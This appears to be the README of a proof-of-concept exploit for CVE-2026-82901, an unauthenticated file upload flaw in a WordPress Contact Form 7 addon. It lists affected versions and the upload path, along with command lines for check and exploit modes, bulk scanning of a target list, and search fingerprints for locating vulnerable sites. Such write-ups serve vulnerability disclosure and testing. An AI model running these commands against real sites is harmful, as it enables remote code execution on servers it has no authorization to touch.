murrez/cve-2026-82901Python PoC for CVE-2026-82901: unauthenticated arbitrary file upload in Ultra Addons for Contact Form 7 <=3.5.50 via signature field, with check and exploit modes.
Python 3 PoC for CVE-2026-82901 — Ultra Addons for Contact Form 7 (Themefic) ≤ 3.5.50.
CVE-2026-82901 — Unauthenticated arbitrary file upload (CWE-434) in uacf7_wpcf7_mail_components inside the PDF Generator addon. Uploaded signature files are copied to /wp-content/uploads/uacf7-uploads/ with weak validation, enabling RCE when PHP runs under uploads. CVSS 3.1 9.8 Critical (PR:N). Fix: > 3.5.51 (Wordfence / changeset 3698232).
Condition: PDF Generator module enabled on a form with uacf7_signature (module off by default).
PoC page: https://pocbit.org/pocs/cve-2026-82901
| Plugin | ultimate-addons-for-contact-form-7 |
| Affected | ≤ 3.5.50 |
| Fixed | 3.5.51+ |
| Vector | CF7 REST feedback + signature file field |
| Write path | wp-content/uploads/uacf7-uploads/ |
pip install -r requirements.txt
python poc.py -u https://wordpress.example --mode check
python poc.py -u https://wordpress.example --mode check --form-url "https://wordpress.example/contact/"
python poc.py -u https://wordpress.example --mode exploit --form-url "https://wordpress.example/contact/"
python poc.py --list targets.example.txt --mode check -j 10
body="/wp-content/plugins/ultimate-addons-for-contact-form-7"
body="uacf7" "wpcf7"
CVE-2026-82901 PoC: WordPress Ultra Addons for Contact Form 7 ≤3.5.50 unauth upload via signature + PDF Generator → uacf7-uploads/. PoCbit
CVE-2026-82901: UACF7 + PDF Generator açıkken imza alanı üzerinden dosya yükleme; 3.5.51 ile tip kontrolü eklendi.
Authorized testing only.